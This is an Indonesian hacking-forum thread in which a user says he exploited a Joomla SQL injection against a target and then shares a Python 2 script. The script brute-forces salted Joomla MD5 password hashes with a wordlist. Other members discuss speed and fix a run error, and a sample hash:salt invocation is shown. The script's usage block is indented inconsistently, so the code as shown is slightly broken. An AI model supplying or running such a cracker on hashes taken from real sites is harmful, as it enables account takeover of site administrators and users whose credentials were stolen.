[nasa$]

gara-gara penasaran ma joomla vulnerable yang ada di exploit-db.com
Joomla jobprofile sql Injection
trus berhasil nemuin target, tapi bingung nyari md5 decrypter di google.. akhir'y terciptalah script yang sederhana dan banyak kekurangan ini...

script ini berguna untuk mem- brute force password joomla yang di enkripsi menggunakan wordlist...

Code:

#!/usr/bin/python
# joomla hash brute force by nasa
# thanks buat IBTeam
# visit http://forum.indonesianbacktrack.or.id



from hashlib import md5
import sys
import string
import binascii, re
import time


print '''
___ ____ _____  
|_ _| __ )_   _|__  __ _ _ __ ___  
| ||  _ \ | |/ _ \/ _` | '_ ` _ \
| || |_) || |  __/ (_| | | | | | |
|___|____/ |_|\___|\__,_|_| |_| |_|  joomla hash cracker !
__________________________________________________________                    
Http://forum.indonesianbacktrack.or.id            by nasa



[*] Starting joomla hash cracker at ''' + time.ctime() + ''' \n\n '''

time.sleep(1)

if len(sys.argv) != 3:
    print 'Error !!'
        print 'Usage: ' + sys.argv[0] + ' <hash:salt> <wordlist>'
        sys.exit(1)

else:
    _hash = sys.argv[1].split(':')
    _md5 = _hash[0]
    _salt = _hash[1]

    f = open(sys.argv[2], 'r')
    for line in f:
        kata = re.sub(r'\W+', '',line)
        crack = md5(kata + _salt).hexdigest()
        print ' [*] Cracking ' + _md5 + ':' + _salt + ' With : ' + kata
        if(crack == _md5):
            print '\n'
            print ' [+] ' + _md5 + ':' + _salt + ' --- Password found: ' + kata
            print ' Viva la Backtrack, by IBTeam !'
            sys.exit(0)
    print '\n'
    print ' [*] No word match, never give up'
    print ' [*] try other wordlist : - ('    
    sys.exit(1)

save dengan extensi .py lalu chmod +x
ss :

download di pastebin

thx...

nb :
web yg jadi inspirasi :
sql injection

[THJC]

butuh waktu berapa lama om untuk brute?
wah ini butuh kamus yang gila-gilaan -_-

[kevin]

Emang nggak bisa yg om di de-encrypt pake tools yg kaya di milw0rm ato lainnya gitu?

[nasa$]

kalo waktu, kya'y tergantung kamus om

kamus'y om zee tuh yang keren, jd pengen minta... wkwkwkwkwk

---

Emang nggak bisa yg om di de-encrypt pake tools yg kaya di milw0rm ato lainnya gitu?

milworm udh tutup

sebenarnya sih bisa di cari di google kl tanpa salt, yg jdi permasalahan'y salt'y g selalu sama ...

[kevin]

Jd salt'nya yg beda2..
Ohh, rempong deh kalo gitu

[nasa$]

butuh waktu berapa lama om untuk brute?
wah ini butuh kamus yang gila-gilaan -_-

sepertinya bisa di percepat klo multi thread, perlu curhat nih ma om RR12 n om romanticdevil

[THJC]

oiya, ini md5+salt?
keren dong kalau +salt...
Ayoo dipoles lagi
Tapi udah keren kog

+1

[bee_os]

ane coba jlanin kok error ya bang ??

Traceback (most recent call last):
File "./hash.py", line 38, in <module>
_salt = _hash[1]
IndexError: list index out of range

[nasa$]

ngejalanin'y :
./hash.py <hashalt> <wordlist>

contohnya:

./hash.py e7b111c770d31929c10f691aea39a058:SNLhy45a wordlist.txt

ket:
md5 ma salt'y di pisahin pake ":"

[iKONspirasi]

dah ane tes, it works
mantab bro

cek kulkas